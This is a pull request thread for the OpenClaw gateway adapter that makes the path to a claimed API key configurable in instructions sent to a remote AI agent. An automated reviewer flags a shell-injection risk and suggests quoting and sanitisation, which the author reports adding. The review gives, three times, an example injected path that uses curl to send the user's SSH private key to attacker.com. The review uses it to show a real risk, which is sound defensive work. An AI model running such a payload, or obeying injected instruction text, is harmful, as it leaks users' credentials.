feat(openclaw-gateway): improve claimed API key guidance in wake flow

[mmTheBest]

Summary

Improves OpenClaw gateway wake instructions by making claimed Paperclip API key handling explicit and configurable.

Changes

• Added optional adapter config hint:
  • claimedApiKeyPath (string)
• Wake instructions now include explicit preflight checks for key file handling:
  • key file existence
  • expected JSON schema ({"token":"pcp_..."})
  • export and non-empty verification of PAPERCLIP_API_KEY
• UI adapter config form now exposes Claimed API key path hint.
• Adapter docs updated to include the new config field.

Why

A recurring failure mode was missing or malformed paperclip-claimed-api-key.json during wake execution. This change makes setup expectations explicit inside runtime instructions and allows non-default key file locations.

Validation

• pnpm -C packages/adapters/openclaw-gateway typecheck
• pnpm -C ui typecheck

[greptile-apps]

Greptile Summary

This PR improves the OpenClaw gateway wake flow by making the claimed Paperclip API key file path configurable via a new optional claimedApiKeyPath adapter config field, and adds explicit preflight shell-command instructions to the generated wake text. The UI config form and adapter docs are updated accordingly.

The refactoring itself is clean and consistent with the existing codebase patterns — resolveClaimedApiKeyPath follows the same nonEmpty-with-default idiom used elsewhere, the UI field is correctly placed inside the !isCreate guard alongside the similar paperclipApiUrl override, and the doc string update is accurate.

The one notable concern is that the user-supplied path is interpolated directly into shell command instructions (test -f ${claimedApiKeyPath}) without quoting or metacharacter sanitisation. Because these instructions are sent verbatim to the remote AI agent for execution, a path containing spaces would silently target the wrong file, and a path containing shell metacharacters could cause the agent to execute unintended commands during the preflight step. Quoting the path in the instruction strings and/or validating it in resolveClaimedApiKeyPath would close this gap.

Confidence Score: 3/5

• Safe to merge for most deployments, but the unquoted/unsanitised path in generated shell instructions should be addressed before wider rollout.
• The overall change is small, well-scoped, and follows established patterns. The confidence deduction comes from the path-injection issue in the shell command instructions: an operator-supplied path with spaces or metacharacters would either silently fail the preflight check or cause the remote agent to execute unintended commands. While this requires an authenticated admin to exploit, hardening it before the feature is in broad use is preferable.
• packages/adapters/openclaw-gateway/src/server/execute.ts — specifically the buildWakeText preflight lines and resolveClaimedApiKeyPath.

Important Files Changed

Filename	Overview
packages/adapters/openclaw-gateway/src/server/execute.ts	Refactors wake-text generation to accept claimedApiKeyPath as a parameter and adds preflight shell-command instructions; however, the user-supplied path is embedded into shell command text without quoting or metacharacter sanitisation, creating a path-injection / command-injection risk in the generated instructions.
packages/adapters/openclaw-gateway/src/index.ts	Documentation-only change: adds the new claimedApiKeyPath field to the adapter config doc string, consistent with the existing optional-field format.
ui/src/adapters/openclaw-gateway/config-fields.tsx	Adds a "Claimed API key path hint" DraftInput field inside the !isCreate guard, following the same pattern as the existing paperclipApiUrl override field. No issues found.

Prompt To Fix All With AI

This is a comment left during a code review.
Path: packages/adapters/openclaw-gateway/src/server/execute.ts
Line: 382-385

Comment:
**Path injection in shell command instructions**

`claimedApiKeyPath` is user-supplied and interpolated directly into what is presented to the remote agent as an executable shell command (`test -f ${claimedApiKeyPath}`). If the value contains spaces (e.g. `/home/user/my workspace/key.json`) the command becomes `test -f /home/user/my workspace/key.json`, which silently checks the wrong path. More critically, a value like `/path/to/key; curl attacker.com?d=$(cat ~/.ssh/id_rsa)` would inject arbitrary shell commands that the AI agent is instructed to execute as part of the "preflight key checks."

Because `resolveClaimedApiKeyPath` only guards against empty strings (via `nonEmpty`) but performs no further sanitisation, any shell metacharacters a user types in the UI config form pass through unchanged into the generated instructions.

Consider quoting the path in the shell instruction and/or validating that the resolved value matches a safe path pattern (e.g. only word chars, slashes, dots, dashes, and `~`):

```suggestion
    "Preflight key checks (must pass before API calls):",
    `- test -f "${claimedApiKeyPath}"`,
    `- parse token from "${claimedApiKeyPath}" JSON: {"token":"pcp_..."}`,
    "- export PAPERCLIP_API_KEY to run context and verify non-empty",
```

Quoting alone prevents whitespace breakage; for stronger protection, reject or strip shell metacharacters in `resolveClaimedApiKeyPath` before the value reaches `buildWakeText`.

How can I resolve this? If you propose a fix, please make it concise.

_{Last reviewed commit: 9fafa75}

[greptile-apps]

Path injection in shell command instructions

claimedApiKeyPath is user-supplied and interpolated directly into what is presented to the remote agent as an executable shell command (test -f ${claimedApiKeyPath}). If the value contains spaces (e.g. /home/user/my workspace/key.json) the command becomes test -f /home/user/my workspace/key.json, which silently checks the wrong path. More critically, a value like /path/to/key; curl attacker.com?d=$(cat ~/.ssh/id_rsa) would inject arbitrary shell commands that the AI agent is instructed to execute as part of the "preflight key checks."

Because resolveClaimedApiKeyPath only guards against empty strings (via nonEmpty) but performs no further sanitisation, any shell metacharacters a user types in the UI config form pass through unchanged into the generated instructions.

Consider quoting the path in the shell instruction and/or validating that the resolved value matches a safe path pattern (e.g. only word chars, slashes, dots, dashes, and ~):

Suggested change

	"Preflight key checks (must pass before API calls):",
	`- test -f ${claimedApiKeyPath}`,
	`- parse token from ${claimedApiKeyPath} JSON: {\"token\":\"pcp_...\"}`,
	"- export PAPERCLIP_API_KEY to run context and verify non-empty",
	"Preflight key checks (must pass before API calls):",
	`- test -f "${claimedApiKeyPath}"`,
	`- parse token from "${claimedApiKeyPath}" JSON: {"token":"pcp_..."}`,
	"- export PAPERCLIP_API_KEY to run context and verify non-empty",

Quoting alone prevents whitespace breakage; for stronger protection, reject or strip shell metacharacters in resolveClaimedApiKeyPath before the value reaches buildWakeText.

Prompt To Fix With AI

This is a comment left during a code review.
Path: packages/adapters/openclaw-gateway/src/server/execute.ts
Line: 382-385

Comment:
**Path injection in shell command instructions**

`claimedApiKeyPath` is user-supplied and interpolated directly into what is presented to the remote agent as an executable shell command (`test -f ${claimedApiKeyPath}`). If the value contains spaces (e.g. `/home/user/my workspace/key.json`) the command becomes `test -f /home/user/my workspace/key.json`, which silently checks the wrong path. More critically, a value like `/path/to/key; curl attacker.com?d=$(cat ~/.ssh/id_rsa)` would inject arbitrary shell commands that the AI agent is instructed to execute as part of the "preflight key checks."

Because `resolveClaimedApiKeyPath` only guards against empty strings (via `nonEmpty`) but performs no further sanitisation, any shell metacharacters a user types in the UI config form pass through unchanged into the generated instructions.

Consider quoting the path in the shell instruction and/or validating that the resolved value matches a safe path pattern (e.g. only word chars, slashes, dots, dashes, and `~`):

```suggestion
    "Preflight key checks (must pass before API calls):",
    `- test -f "${claimedApiKeyPath}"`,
    `- parse token from "${claimedApiKeyPath}" JSON: {"token":"pcp_..."}`,
    "- export PAPERCLIP_API_KEY to run context and verify non-empty",
```

Quoting alone prevents whitespace breakage; for stronger protection, reject or strip shell metacharacters in `resolveClaimedApiKeyPath` before the value reaches `buildWakeText`.

How can I resolve this? If you propose a fix, please make it concise.

[mmTheBest]

Addressed review feedback in 90501bf:\n- Added shell-safe quoting for claimedApiKeyPath in preflight instruction lines\n- Added path sanitization in resolver (fallback to default path on unsafe input)\n\nValidated with:\n-

@paperclipai/adapter-openclaw-gateway@0.3.0 typecheck /private/tmp/paperclip/packages/adapters/openclaw-gateway
tsc --noEmit\n-
@paperclipai/ui@0.0.1 typecheck /private/tmp/paperclip/ui
tsc -b

[mmTheBest]

Follow-up (escaped): validated with pnpm -C packages/adapters/openclaw-gateway typecheck and pnpm -C ui typecheck.